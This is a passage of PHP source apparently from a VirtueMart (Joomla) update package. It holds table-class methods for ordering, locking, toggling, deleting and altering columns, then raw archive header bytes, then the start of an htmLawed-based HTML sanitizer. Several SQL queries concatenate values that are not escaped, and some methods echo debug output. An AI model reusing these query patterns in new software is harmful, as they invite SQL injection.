vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_NOT_UNIQUE_NAME', vmText::_('COM_VIRTUEMART_' . strtoupper($name))); unset($this->_unique_name[$name]); $langObKeys[$name] = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY', vmText::_('COM_VIRTUEMART_' . strtoupper($name))); unset($this->_obkeys[$name]); } if (!empty($this->_obkeys[$name])) { $langObKeys[$name] = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY', vmText::_('COM_VIRTUEMART_' . strtoupper($name))); unset($this->_obkeys[$name]); } } // $langTable->$tblKey = $data[$tblKey]; } $langTable->_unique_name = $langUniqueKeys; $langTable->_obkeys = $langObKeys; $langTable->_slugAutoName = $this->_slugAutoName; unset($this->_slugAutoName); $langTable->_slugName = 'slug'; unset($this->_slugName); $langTable->setProperties($langData); $langTable->_translatable = false; //We must check the langtable BEFORE we store the normal table, cause the langtable is often defining if there are enough data to store it (for exmple the name) if ($ok) { //vmdebug('my langtable before bind',$langTable->id); if (!$langTable->bind($data)) { $ok = false; $msg = 'bind'; // vmdebug('Problem in bind '.get_class($this).' '.$this->_db->getErrorMsg()); vmdebug('Problem in bind ' . get_class($this) . ' '); } } if ($ok) { if (!$langTable->check()) { $ok = false; vmdebug('Check returned false ' . get_class($langTable) . ' ' . $this->_tbl . ' ' . $langTable->_db->getErrorMsg()); } } if ($ok) { $this->bindChecknStoreNoLang($data, $preload); $langTable->$tblKey = !empty($this->$tblKey) ? $this->$tblKey : 0; //vmdebug('bindChecknStoreNoLang my $tblKey '.$tblKey.' '.$langTable->$tblKey); if ($ok and $preload) { if (!empty($langTable->$tblKey)) { $id = $langTable->$tblKey; if (!$langTable->load($id)) { $ok = false; vmdebug('Preloading of language table failed, no id given, cannot store ' . $this->_tbl); } } else { if ($ok) { if (!$langTable->bind($data)) { $ok = false; vmdebug('Problem in bind ' . get_class($this) . ' '); } } if ($ok) { if (!$langTable->check()) { $ok = false; vmdebug('Check returned false ' . get_class($langTable) . ' ' . $this->_tbl . ' ' . $langTable->_db->getErrorMsg()); } } } } if ($ok) { if (!$langTable->store()) { $ok = false; // $msg .= ' store'; vmdebug('Problem in store with langtable ' . get_class($langTable) . ' with ' . $tblKey . ' = ' . $this->$tblKey . ' ' . $langTable->_db->getErrorMsg()); } } } } else { if (!$this->bindChecknStoreNoLang($data, $preload)) { $ok = false; } } return $ok; } function bindChecknStoreNoLang(&$data, $preload = false) { $tblKey = $this->_tbl_key; if ($preload) { if (is_object($data)) { if (!empty($data->$tblKey)) { $this->load($data->$tblKey); } } else { if (!empty($data[$tblKey])) { $this->load($data[$tblKey]); } } if ($this->_translatable) { foreach ($this->_translatableFields as $name) { unset($this->$name); } } //vmdebug('bindChecknStoreNoLang language unloaded, why?'); } $ok = true; $msg = ''; if (!$this->bind($data)) { $ok = false; $msg = 'bind'; // vmdebug('Problem in bind '.get_class($this).' '.$this->_db->getErrorMsg()); vmdebug('Problem in bind ' . get_class($this) . ' '); } if ($ok) { if (!$this->checkDataContainsTableFields($data)) { $ok = false; // $msg .= ' developer notice:: checkDataContainsTableFields'; } } if ($ok) { if (!$this->check()) { $ok = false; $msg .= ' check'; vmdebug('Check no lang returned false ' . get_class($this) . ' ' . $this->_db->getErrorMsg()); return false; } } if ($ok) { if (!$this->store($this->_updateNulls)) { $ok = false; $msg .= ' store'; vmdebug('Problem in store ' . get_class($this) . ' ' . $this->_db->getErrorMsg()); return false; } } if (is_object($data)) { $data->$tblKey = !empty($this->$tblKey) ? $this->$tblKey : 0; } else { $data[$tblKey] = !empty($this->$tblKey) ? $this->$tblKey : 0; } // vmdebug('bindChecknStore '.get_class($this).' '.$this->_db->getErrorMsg()); //This should return $ok and not the data, because it is already updated due use of reference return $data; } /** * Description * will make sure that all items in the table are not using the same ordering values * @author stAn * @access public * $where -> limits the categories if a child category of another one */ function fixOrdering($where = '') { $where = $where ? ' WHERE ' . $where : ''; // fast check for duplicities $q = 'SELECT `' . $this->_tbl_key . '` FROM `' . $this->_tbl . '` GROUP BY `' . $this->_orderingKey . '` HAVING COUNT(*) >= 2 ' . $where . ' LIMIT 1'; $this->_db->setQuery($q); $res = $this->_db->loadAssocList(); if (empty($res)) return true; $q = ' SELECT `' . $this->_tbl_key . '` FROM `' . $this->_tbl . '` ' . $where . ' ORDER BY `' . $this->_orderingKey . '` ASC'; $this->_db->setQuery($q, 0, 999999); $res = $this->_db->loadAssocList(); $e = $this->_db->getErrorMsg(); if (!empty($e)) { vmError(get_class($this) . $e); } echo $q . "
\n"; // no data in the table if (empty($res)) return true; // we will set ordering to 5,10,15,20,25 so there is enough space in between for manual editing $start = 5; // it is not really optimized to load full table into array, a while loop would be better especially when having thousands of categories foreach ($res as $row) { $q = 'UPDATE `' . $this->_tbl . '` SET `' . $this->_orderingKey . '` = ' . (int)$start . ' WHERE `' . $this->_tbl_key . '`= ' . $row[$this->_tbl_key] . ' LIMIT 1'; $this->_db->setQuery($q); $r = $this->_db->execute($q); $start = $start + 5; } } /** * Description * * @author Joomla Team, Max Milbers * @access public * @param $dirn * @param $where */ function move($dirn, $where = '', $orderingkey = 0) { // for some reason this function is not used from categories $this->fixOrdering(); $k = $this->_tbl_key; // problem here was that $this->$k returned (0) $cid = vRequest::getInt($this->_pkeyForm); if (!empty($cid) && (is_array($cid))) { $cid = reset($cid); } else { // either we fix custom fields or fix it here: $cid = vRequest::getVar('virtuemart_custom_id'); if (!empty($cid) && (is_array($cid))) { $cid = reset($cid); } else { vmError(get_class($this) . ' is missing cid information !'); return false; } } // stAn: if somebody knows how to get current `ordering` of selected cid (i.e. virtuemart_userinfo_id or virtuemart_category_id from defined vars, you can review the code below) $q = "SELECT `" . $this->_orderingKey . '` FROM `' . $this->_tbl . '` WHERE `' . $this->_tbl_key . "` = '" . (int)$cid . "' limit 0,1"; if (!isset(self::$_cache[md5($q)])) { $this->_db->setQuery($q); $c_order = $this->_db->loadResult(); // current ordering value of cid } else { $c_order = self::$_cache[md5($q)]; } $this->$orderingkey = $c_order; $e = $this->_db->getErrorMsg(); if (!empty($e)) { vmError(get_class($this) . $e); } // stAn addition: $where .= ' `' . $this->_tbl_key . '` <> ' . (int)$cid . ' '; // explanation: // select one above or under which is not cid and update/set it's ordering of the original cid // could be done with one complex query... but this is more straitforward and the speed is not that much needed in this one if (!empty($orderingkey)) $this->_orderingKey = $orderingkey; if (!in_array($this->_orderingKey, array_keys($this->getProperties()))) { vmError(get_class($this) . ' does not support ordering'); return false; } $k = $this->_tbl_key; // virtuemart_userfield_id column name $orderingKey = $this->_orderingKey; // ordering column name $sql = 'SELECT `' . $this->_tbl_key . '`, `' . $this->_orderingKey . '` FROM ' . $this->_tbl; if ($dirn < 0) { $sql .= ' WHERE `' . $this->_orderingKey . '` <= ' . (int)$c_order; $sql .= ($where ? ' AND ' . $where : ''); $sql .= ' ORDER BY `' . $this->_orderingKey . '` DESC'; } else if ($dirn > 0) { $sql .= ' WHERE `' . $this->_orderingKey . '` >= ' . (int)$c_order; $sql .= ($where ? ' AND ' . $where : ''); $sql .= ' ORDER BY `' . $this->_orderingKey . '`'; } else { $sql .= ' WHERE `' . $this->_orderingKey . '` = ' . (int)$c_order; $sql .= ($where ? ' AND ' . $where : ''); $sql .= ' ORDER BY `' . $this->_orderingKey . '`'; } if (!isset(self::$_cache[md5($sql)])) { $this->_db->setQuery($sql, 0, 1); $row = null; $row = $this->_db->loadObject(); } else $row = self::$_cache[md5($sql)]; if (isset($row)) { // ok, we have a problem here - previous or next item has the same ordering as the current one // we need to fix the ordering be reordering it all if ((int)$row->$orderingKey == $c_order) { // if we fix this while loading the ordering, it will slow down FE } // update the next or previous to have the same ordering as the selected $query = 'UPDATE ' . $this->_tbl . ' SET `' . $this->_orderingKey . '` = ' . (int)$c_order . ' WHERE ' . $this->_tbl_key . ' = ' . (int)$row->$k . ' LIMIT 1'; $this->_db->setQuery($query); echo "\n" . $query . '
'; if (!$this->_db->execute()) { $err = $this->_db->getErrorMsg(); JError::raiseError(500, get_class($this) . ':: move isset row $row->$k' . $err); } // update the currently selected to have the same ordering as the next or previous $query = 'UPDATE ' . $this->_tbl . ' SET `' . $this->_orderingKey . '` = ' . (int)$row->$orderingKey . ' WHERE ' . $this->_tbl_key . ' = "' . (int)$cid . '" LIMIT 1'; $this->_db->setQuery($query); //echo $query.'
'; die(); if (!$this->_db->execute()) { $err = $this->_db->getErrorMsg(); JError::raiseError(500, get_class($this) . ':: move isset row $row->$k' . $err); } // stAn, what for is this? $this->ordering = $row->$orderingKey; } else { // stAn: why should we update the same line with the same information when no next or previous found (?) $query = 'UPDATE ' . $this->_tbl . ' SET `' . $this->_orderingKey . '` = ' . (int)$this->$orderingKey . ' WHERE ' . $this->_tbl_key . ' = "' . $this->_db->escape($this->$k) . '" LIMIT 1'; $this->_db->setQuery($query); if (!$this->_db->execute()) { $err = $this->_db->getErrorMsg(); JError::raiseError(500, get_class($this) . ':: move update $this->$k' . $err); } } return true; } /** * Returns the ordering value to place a new item last in its group * * @access public * @param string query WHERE clause for selecting MAX(ordering). */ function getNextOrder($where = '', $orderingkey = 0) { $where = $this->_db->escape($where); $orderingkey = $this->_db->escape($orderingkey); if (!empty($orderingkey)) $this->_orderingKey = $orderingkey; if (!in_array($this->_orderingKey, array_keys($this->getProperties()))) { vmError(get_class($this) . ' does not support ordering'); return false; } $query = 'SELECT MAX(`' . $this->_orderingKey . '`)' . ' FROM ' . $this->_tbl . ($where ? ' WHERE ' . $where : ''); if (!isset(self::$_cache[md5($query)])) { $this->_db->setQuery($query); $maxord = $this->_db->loadResult(); } else $maxord = self::$_cache[md5($query)]; if ($this->_db->getErrorNum()) { vmError(get_class($this) . ' getNextOrder ' . $this->_db->getErrorMsg()); return false; } return $maxord + 1; } /** * Compacts the ordering sequence of the selected records * * @access public * @param string Additional where query to limit ordering to a particular subset of records */ function reorder($where = '', $orderingkey = 0) { $where = $this->_db->escape($where); $orderingkey = $this->_db->escape($orderingkey); if (!empty($orderingkey)) $this->_orderingKey = $orderingkey; $k = $this->_tbl_key; if (!in_array($this->_orderingKey, array_keys($this->getProperties()))) { vmError(get_class($this) . ' does not support ordering'); return false; } if ($this->_tbl == '#__content_frontpage') { $order2 = ", content_id DESC"; } else { $order2 = ""; } $query = 'SELECT ' . $this->_tbl_key . ', ' . $this->_orderingKey . ' FROM ' . $this->_tbl . ' WHERE `' . $this->_orderingKey . '` >= 0' . ($where ? ' AND ' . $where : '') . ' ORDER BY `' . $this->_orderingKey . '` ' . $order2; $this->_db->setQuery($query); if (!($orders = $this->_db->loadObjectList())) { vmError(get_class($this) . ' reorder ' . $this->_db->getErrorMsg()); return false; } $orderingKey = $this->_orderingKey; // compact the ordering numbers for ($i = 0, $n = count($orders); $i < $n; $i++) { if ($orders[$i]->$orderingKey >= 0) { if ($orders[$i]->$orderingKey != $i + 1) { $orders[$i]->$orderingKey = $i + 1; $query = 'UPDATE ' . $this->_tbl . ' SET `' . $this->_orderingKey . '` = "' . $this->_db->escape($orders[$i]->$orderingKey) . '" WHERE ' . $k . ' = "' . $this->_db->escape($orders[$i]->$k) . '"'; $this->_db->setQuery($query); $this->_db->execute(); } } } return true; } /** * Checks out a row * * @access public * @param integer The id of the user * @param mixed The primary key value for the row * @return boolean True if successful, or if checkout is not supported */ function checkout($who, $oid = null) { if (!in_array('locked_by', array_keys($this->getProperties()))) { return true; } $k = $this->_tbl_key; if ($oid !== null) { $this->$k = $oid; } $config = JFactory::getConfig(); $siteOffset = $config->get('offset'); $date = JFactory::getDate('now', $siteOffset); $time = $date->toSql(); $query = 'UPDATE ' . $this->_db->quoteName($this->_tbl) . ' SET locked_by = ' . (int)$who . ', locked_on = "' . $this->_db->escape($time) . '" WHERE ' . $this->_tbl_key . ' = "' . $this->_db->escape($this->$k) . '"'; $this->_db->setQuery($query); $this->locked_by = $who; $this->locked_on = $time; return $this->_db->execute(); } /** * Checks in a row * * @access public * @param mixed The primary key value for the row * @return boolean True if successful, or if checkout is not supported */ function checkin($oid = null) { if (!( in_array('locked_by', array_keys($this->getProperties())) || in_array('locked_on', array_keys($this->getProperties())) ) ) { return true; } $k = $this->_tbl_key; if ($oid !== null) { $this->$k = $oid; } if ($this->$k == NULL) { return false; } $query = 'UPDATE ' . $this->_db->quoteName($this->_tbl) . ' SET locked_by = 0, locked_on = "' . $this->_db->escape($this->_db->getNullDate()) . '" WHERE ' . $this->_tbl_key . ' = "' . $this->_db->escape($this->$k) . '"'; $this->_db->setQuery($query); $this->locked_by = 0; $this->locked_on = ''; return $this->_db->execute(); } /** * Check if an item is checked out * * This function can be used as a static function too, when you do so you need to also provide the * a value for the $against parameter. * * @static * @access public * @param integer $with The userid to preform the match with, if an item is checked out * by this user the function will return false * @param integer $against The userid to perform the match against when the function is used as * a static function. * @return boolean */ function isCheckedOut($with = 0, $against = null) { if (isset($this) && is_a($this, 'JTable') && is_null($against)) { $against = $this->get('locked_by'); } //item is not checked out, or being checked out by the same user if (!$against || $against == $with) { return false; } $session = JTable::getInstance('session'); return $session->exists($against); } /** * toggle (0/1) a field * or invert by $val * @author impleri * @author Max Milbers * @param string $field the field to toggle * @param boolean $val field value (0/1) * @todo could make this multi-id as well... */ function toggle($field, $val = NULL) { if ($val === NULL) { $this->$field = !$this->$field; } else { $this->$field = $val; } $k = $this->_tbl_key; $q = 'UPDATE `' . $this->_tbl . '` SET `' . $field . '` = "' . $this->$field . '" WHERE `' . $k . '` = "' . $this->$k . '" '; $this->_db->setQuery($q); if (!$res = $this->_db->execute()) { vmError('There was an error toggling ' . $field, $this->_db->getErrorMsg()); } else { vmdebug('Toggled '.$q ); } return $res; } public function resetErrors() { $this->_errors = array(); } function delete($oid = null, $where = 0) { $k = $this->_tbl_key; if ($oid) { $this->$k = intval($oid); } $mainTableError = $this->checkAndDelete($this->_tbl, $where); if ($this->_translatable) { $langs = VmConfig::get('active_languages', array()); if (!$langs) $langs[] = VmConfig::$vmlang; if (!class_exists('VmTableData')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'vmtabledata.php'); foreach ($langs as $lang) { $lang = strtolower(strtr($lang, '-', '_')); $langError = $this->checkAndDelete($this->_tbl . '_' . $lang); $mainTableError = min($mainTableError, $langError); } } return $mainTableError; } // author stAn // returns true when mysql version is larger than 5.0 function isMysql51Plus() { $r = $this->getMysqlVersion(); return version_compare($r, '5.1.0', '>='); } // author: stan, added in 2.0.16+ // returns mysql version for query optimalization function getMysqlVersion() { $q = 'select version()'; if (!isset(self::$_cache[md5($q)])) { $this->_db->setQuery($q); return $this->_db->loadResult(); } else return self::$_cache[md5($q)]; } function checkAndDelete($table, $whereField = 0, $andWhere = '') { $ok = 1; $k = $this->_tbl_key; if ($whereField !== 0) { $whereKey = $whereField; } else { $whereKey = $this->_pkey; } $query = 'SELECT `' . $this->_tbl_key . '` FROM `' . $table . '` WHERE `' . $whereKey . '` = "' . $this->$k . '" '.$andWhere; $this->_db->setQuery($query); // vmdebug('checkAndDelete',$query); $list = $this->_db->loadColumn(); // vmdebug('checkAndDelete',$list); if ($list) { foreach ($list as $row) { $ok = $row; $query = 'DELETE FROM `' . $table . '` WHERE ' . $this->_tbl_key . ' = "' . $row . '"'; $this->_db->setQuery($query); if (!$this->_db->execute()) { $this->setError($this->_db->getErrorMsg()); vmError('checkAndDelete ' . $this->_db->getErrorMsg()); $ok = 0; } } } return $ok; } /** * Add, change or drop userfields * * @param string $_act Action: ADD, DROP or CHANGE (synonyms available, see the switch cases) * @param string $_col Column name * @param string $_type fieldtype * @param string $_col2 Second Column name * @return boolean True on success * @author Oscar van Eijk * * stAn - note: i disabled deleting of user data when a column (shopper field) is deleted. If a deletion of specific user or order is needed, it can be done separatedly * The column if not set with $_col2 will be renamed to ORIGINALNAME_DELETED_{timestamp()} and depending on mysql version it's definition will change */ function _modifyColumn($_act, $_col, $_type = '', $_col2 = '') { $_sql = 'ALTER TABLE `' . $this->_tbl . '` '; $_check_act = strtoupper(substr($_act, 0, 3)); //Check if a column is there //$columns = $this->_db->getTableColumns($this->_tbl); $columns = $this->showFullColumns('Field','Type',false); $res = array_key_exists($_col, $columns); if ($_check_act != 'ADD' and $_check_act != 'CRE') { if (!$res) { vmdebug('_modifyColumn Command was ' . $_check_act . ' column does not exist, changed to ADD'); $_check_act = 'ADD'; } } else { if ($res) { vmdebug('_modifyColumn Command was ' . $_check_act . ' column already exists, changed to MOD'); $_check_act = 'UPD'; } } switch ($_check_act) { case 'ADD': case 'CRE': // Create $_sql .= "ADD $_col $_type "; break; case 'DRO': // Drop case 'DEL': // Delete //stAn, i strongly do not recommend to delete customer information only because a field was deleted if (empty($_col2)){ $_col2 = $_col . '_DELETED_' . time(); vmInfo('Be aware the column of table '.$this->_tbl.' is not deleted, only renamed to '.$_col2); } if (!$this->isMysql51Plus()) { if (empty($_type)) $_type = 'TEXT CHARACTER SET utf8'; } // NOT NULL not allowed for deleted columns //$t_type = str_ireplace(' NOT ', '', $_type); $_sql .= "CHANGE $_col $_col2 $_type "; //was: $_sql .= "DROP $_col "; break; case 'MOD': // Modify case 'UPD': // Update case 'CHA': // Change if (empty($col2)) $_col2 = $_col; // change type only $_sql .= "CHANGE $_col $_col2 $_type "; break; } $this->_db->setQuery($_sql); $this->_db->execute(); if ($this->_db->getErrorNum() != 0) { vmError(get_class($this) . '::modify table - ' . $this->_db->getErrorMsg() . '
values: action ' . $_act . ', columname: ' . $_col . ', type: ' . $_type . ', columname2: ' . $_col2); return false; } vmdebug('_modifyColumn executed successfully ' . $_sql); return true; } } PKsl>\{DDRcom_virtuemart_update/administrator/components/com_virtuemart/helpers/vmfilter.phpnuW+A1, 'elements'=>'a, b, strong, i, em, li, ol, ul')); See htmLawed_README.txt/htm only good for HTML filtering needed in MultiVendor editing Product/category ... */ class vmFilter{ private static $C=null; private static $E=null; private static $S=null; private static $hl_Ids=null; // begin class public static function hl($t, $C=null, $S=array()){ if ( is_string($C) ) $C = vmFilter::loadconfig($C); $C = is_array($C) ? $C : array(); if(!empty($C['valid_xhtml'])){ $C['elements'] = empty($C['elements']) ? '*-center-dir-font-isindex-menu-s-strike-u' : $C['elements']; $C['make_tag_strict'] = isset($C['make_tag_strict']) ? $C['make_tag_strict'] : 2; $C['xml:lang'] = isset($C['xml:lang']) ? $C['xml:lang'] : 2; } // config eles $e = array('a'=>1, 'abbr'=>1, 'acronym'=>1, 'address'=>1, 'applet'=>1, 'area'=>1, 'b'=>1, 'bdo'=>1, 'big'=>1, 'blockquote'=>1, 'br'=>1, 'button'=>1, 'caption'=>1, 'center'=>1, 'cite'=>1, 'code'=>1, 'col'=>1, 'colgroup'=>1, 'dd'=>1, 'del'=>1, 'dfn'=>1, 'dir'=>1, 'div'=>1, 'dl'=>1, 'dt'=>1, 'em'=>1, 'embed'=>1, 'fieldset'=>1, 'font'=>1, 'form'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'hr'=>1, 'i'=>1, 'iframe'=>1, 'img'=>1, 'input'=>1, 'ins'=>1, 'isindex'=>1, 'kbd'=>1, 'label'=>1, 'legend'=>1, 'li'=>1, 'map'=>1, 'menu'=>1, 'noscript'=>1, 'object'=>1, 'ol'=>1, 'optgroup'=>1, 'option'=>1, 'p'=>1, 'param'=>1, 'pre'=>1, 'q'=>1, 'rb'=>1, 'rbc'=>1, 'rp'=>1, 'rt'=>1, 'rtc'=>1, 'ruby'=>1, 's'=>1, 'samp'=>1, 'script'=>1, 'select'=>1, 'small'=>1, 'span'=>1, 'strike'=>1, 'strong'=>1, 'sub'=>1, 'sup'=>1, 'table'=>1, 'tbody'=>1, 'td'=>1, 'textarea'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1, 'tt'=>1, 'u'=>1, 'ul'=>1, 'var'=>1); // 86/deprecated+embed+ruby if(!empty($C['safe'])){ unset($e['applet'], $e['embed'], $e['iframe'], $e['object'], $e['script']); } $x = !empty($C['elements']) ? str_replace(array("\n", "\r", "\t", ' '), '', $C['elements']) : '*'; if($x == '-*'){ $e = array(); } elseif(strpos($x, '*') === false){ $e = array_flip(explode(',', $x)); } else{ if(isset($x[1])){ preg_match_all('`(?:^|-|\+)[^\-+]+?(?=-|\+|$)`', $x, $m, PREG_SET_ORDER); for($i=count($m); --$i>=0;){ $m[$i] = $m[$i][0]; } foreach($m as $v){ if($v[0] == '+'){ $e[substr($v, 1)] = 1; } if($v[0] == '-' && isset($e[($v = substr($v, 1))]) && !in_array('+'. $v, $m)){ unset($e[$v]); } } } } $C['elements'] =& $e; // config attrs $x = !empty($C['deny_attribute']) ? str_replace(array("\n", "\r", "\t", ' '), '', $C['deny_attribute']) : ''; $x = array_flip((isset($x[0]) && $x[0] == '*') ? explode('-', $x) : explode(',', $x. (!empty($C['safe']) ? ',on*' : ''))); if(isset($x['on*'])){ unset($x['on*']); $x += array('onblur'=>1, 'onchange'=>1, 'onclick'=>1, 'ondblclick'=>1, 'onfocus'=>1, 'onkeydown'=>1, 'onkeypress'=>1, 'onkeyup'=>1, 'onmousedown'=>1, 'onmousemove'=>1, 'onmouseout'=>1, 'onmouseover'=>1, 'onmouseup'=>1, 'onreset'=>1, 'onselect'=>1, 'onsubmit'=>1); } $C['deny_attribute'] = $x; // config URL $x = (isset($C['schemes'][2]) && strpos($C['schemes'], ':')) ? strtolower($C['schemes']) : 'href: aim, feed, file, ftp, gopher, http, https, irc, mailto, news, nntp, sftp, ssh, telnet; *:file, http, https'; $C['schemes'] = array(); foreach(explode(';', str_replace(array(' ', "\t", "\r", "\n"), '', $x)) as $v){ $x = $x2 = null; list($x, $x2) = explode(':', $v, 2); if($x2){ $C['schemes'][$x] = array_flip(explode(',', $x2)); } } if(!isset($C['schemes']['*'])){ $C['schemes']['*'] = array('file'=>1, 'http'=>1, 'https'=>1,); } if(!empty($C['safe']) && empty($C['schemes']['style'])){ $C['schemes']['style'] = array('!'=>1); } $C['abs_url'] = isset($C['abs_url']) ? $C['abs_url'] : 0; if(!isset($C['base_url']) or !preg_match('`^[a-zA-Z\d.+\-]+://[^/]+/(.+?/)?$`', $C['base_url'])){ $C['base_url'] = $C['abs_url'] = 0; } // config rest $C['and_mark'] = empty($C['and_mark']) ? 0 : 1; $C['anti_link_spam'] = (isset($C['anti_link_spam']) && is_array($C['anti_link_spam']) && count($C['anti_link_spam']) == 2 && (empty($C['anti_link_spam'][0]) or vmFilter::hl_regex($C['anti_link_spam'][0])) && (empty($C['anti_link_spam'][1]) or vmFilter::hl_regex($C['anti_link_spam'][1]))) ? $C['anti_link_spam'] : 0; $C['anti_mail_spam'] = isset($C['anti_mail_spam']) ? $C['anti_mail_spam'] : 0; $C['balance'] = isset($C['balance']) ? (bool)$C['balance'] : 1; $C['cdata'] = isset($C['cdata']) ? $C['cdata'] : (empty($C['safe']) ? 3 : 0); $C['clean_ms_char'] = empty($C['clean_ms_char']) ? 0 : $C['clean_ms_char']; $C['comment'] = isset($C['comment']) ? $C['comment'] : (empty($C['safe']) ? 3 : 0); $C['css_expression'] = empty($C['css_expression']) ? 0 : 1; $C['direct_list_nest'] = empty($C['direct_list_nest']) ? 0 : 1; $C['hexdec_entity'] = isset($C['hexdec_entity']) ? $C['hexdec_entity'] : 1; $C['hook'] = (!empty($C['hook']) && function_exists($C['hook'])) ? $C['hook'] : 0; $C['hook_tag'] = (!empty($C['hook_tag']) && function_exists($C['hook_tag'])) ? $C['hook_tag'] : 0; $C['keep_bad'] = isset($C['keep_bad']) ? $C['keep_bad'] : 6; $C['lc_std_val'] = isset($C['lc_std_val']) ? (bool)$C['lc_std_val'] : 1; $C['make_tag_strict'] = isset($C['make_tag_strict']) ? $C['make_tag_strict'] : 1; $C['named_entity'] = isset($C['named_entity']) ? (bool)$C['named_entity'] : 1; $C['no_deprecated_attr'] = isset($C['no_deprecated_attr']) ? $C['no_deprecated_attr'] : 1; $C['parent'] = isset($C['parent'][0]) ? strtolower($C['parent']) : 'body'; $C['show_setting'] = !empty($C['show_setting']) ? $C['show_setting'] : 0; $C['style_pass'] = empty($C['style_pass']) ? 0 : 1; $C['tidy'] = empty($C['tidy']) ? 0 : $C['tidy']; $C['unique_ids'] = isset($C['unique_ids']) ? $C['unique_ids'] : 1; $C['xml:lang'] = isset($C['xml:lang']) ? $C['xml:lang'] : 0; if(!is_null(vmFilter::$C)){ $reC = vmFilter::$C; } vmFilter::$C = $C; $S = is_array($S) ? $S : vmFilter::$hl_spec($S); if(!is_null(vmFilter::$S)){ $reS = vmFilter::$S; } vmFilter::$S = $S; $t = preg_replace('`[\x00-\x08\x0b-\x0c\x0e-\x1f]`', '', $t); if($C['clean_ms_char']){ $x = array("\x7f"=>'', "\x80"=>'€', "\x81"=>'', "\x83"=>'ƒ', "\x85"=>'…', "\x86"=>'†', "\x87"=>'‡', "\x88"=>'ˆ', "\x89"=>'‰', "\x8a"=>'Š', "\x8b"=>'‹', "\x8c"=>'Œ', "\x8d"=>'', "\x8e"=>'Ž', "\x8f"=>'', "\x90"=>'', "\x95"=>'•', "\x96"=>'–', "\x97"=>'—', "\x98"=>'˜', "\x99"=>'™', "\x9a"=>'š', "\x9b"=>'›', "\x9c"=>'œ', "\x9d"=>'', "\x9e"=>'ž', "\x9f"=>'Ÿ'); $x = $x + ($C['clean_ms_char'] == 1 ? array("\x82"=>'‚', "\x84"=>'„', "\x91"=>'‘', "\x92"=>'’', "\x93"=>'“', "\x94"=>'”') : array("\x82"=>'\'', "\x84"=>'"', "\x91"=>'\'', "\x92"=>'\'', "\x93"=>'"', "\x94"=>'"')); $t = strtr($t, $x); } if($C['cdata'] or $C['comment']){ $t = preg_replace_callback('``sm', 'vmFilter::hl_cmtcd', $t); } $t = preg_replace_callback('`&([A-Za-z][A-Za-z0-9]{1,30}|#(?:[0-9]{1,8}|[Xx][0-9A-Fa-f]{1,7}));`', 'vmFilter::hl_ent', str_replace('&', '&', $t)); if($C['unique_ids'] && is_null(vmFilter::$hl_Ids)){ vmFilter::$hl_Ids = array(); } if($C['hook']){ $t = $C['hook']($t, $C, $S); } if($C['show_setting'] && preg_match('`^[a-z][a-z0-9_]*$`i', $C['show_setting'])){ vmFilter::$C['show_setting'] = array('config'=>$C, 'spec'=>$S, 'time'=>microtime()); } // main $t = preg_replace_callback('`<(?:(?:\s|$)|(?:[^>]*(?:>|$)))|>`m', 'vmFilter::hl_tag', $t); $t = $C['balance'] ? vmFilter::hl_bal($t, $C['keep_bad'], $C['parent']) : $t; $t = (($C['cdata'] or $C['comment']) && strpos($t, "\x01") !== false) ? str_replace(array("\x01", "\x02", "\x03", "\x04", "\x05"), array('', '', '&', '<', '>'), $t) : $t; $t = $C['tidy'] ? vmFilter::hl_tidy($t, $C['tidy'], $C['parent']) : $t; unset($C, $e); if(isset($reC)){ vmFilter::$C = $reC; } if(isset($reS)){ vmFilter::$S = $reS; } return $t; // eof } public static function hl_attrval($t, $p){ // check attr val against $S $o = 1; $l = strlen($t); foreach($p as $k=>$v){ switch($k){ case 'maxlen':if($l > $v){ $o = 0; } break; case 'minlen': if($l < $v){ $o = 0; } break; case 'maxval': if((float)($t) > $v){ $o = 0; } break; case 'minval': if((float)($t) < $v){ $o = 0; } break; case 'match': if(!preg_match($v, $t)){ $o = 0; } break; case 'nomatch': if(preg_match($v, $t)){ $o = 0; } break; case 'oneof': $m = 0; foreach(explode('|', $v) as $n){ if($t == $n){ $m = 1; break; } } $o = $m; break; case 'noneof': $m = 1; foreach(explode('|', $v) as $n){ if($t == $n){ $m = 0; break; } } $o = $m; break; default: break; } if(!$o){ break; } } return ($o ? $t : (isset($p['default']) ? $p['default'] : 0)); // eof } public static function hl_bal($t, $do=1, $in='div'){ // balance tags // by content $cB = array('blockquote'=>1, 'form'=>1, 'map'=>1, 'noscript'=>1); // Block $cE = array('area'=>1, 'br'=>1, 'col'=>1, 'embed'=>1, 'hr'=>1, 'img'=>1, 'input'=>1, 'isindex'=>1, 'param'=>1); // Empty $cF = array('button'=>1, 'del'=>1, 'div'=>1, 'dd'=>1, 'fieldset'=>1, 'iframe'=>1, 'ins'=>1, 'li'=>1, 'noscript'=>1, 'object'=>1, 'td'=>1, 'th'=>1); // Flow; later context-wise dynamic move of ins & del to $cI $cI = array('a'=>1, 'abbr'=>1, 'acronym'=>1, 'address'=>1, 'b'=>1, 'bdo'=>1, 'big'=>1, 'caption'=>1, 'cite'=>1, 'code'=>1, 'dfn'=>1, 'dt'=>1, 'em'=>1, 'font'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'i'=>1, 'kbd'=>1, 'label'=>1, 'legend'=>1, 'p'=>1, 'pre'=>1, 'q'=>1, 'rb'=>1, 'rt'=>1, 's'=>1, 'samp'=>1, 'small'=>1, 'span'=>1, 'strike'=>1, 'strong'=>1, 'sub'=>1, 'sup'=>1, 'tt'=>1, 'u'=>1, 'var'=>1); // Inline $cN = array('a'=>array('a'=>1), 'button'=>array('a'=>1, 'button'=>1, 'fieldset'=>1, 'form'=>1, 'iframe'=>1, 'input'=>1, 'label'=>1, 'select'=>1, 'textarea'=>1), 'fieldset'=>array('fieldset'=>1), 'form'=>array('form'=>1), 'label'=>array('label'=>1), 'noscript'=>array('script'=>1), 'pre'=>array('big'=>1, 'font'=>1, 'img'=>1, 'object'=>1, 'script'=>1, 'small'=>1, 'sub'=>1, 'sup'=>1), 'rb'=>array('ruby'=>1), 'rt'=>array('ruby'=>1)); // Illegal $cN2 = array_keys($cN); $cR = array('blockquote'=>1, 'dir'=>1, 'dl'=>1, 'form'=>1, 'map'=>1, 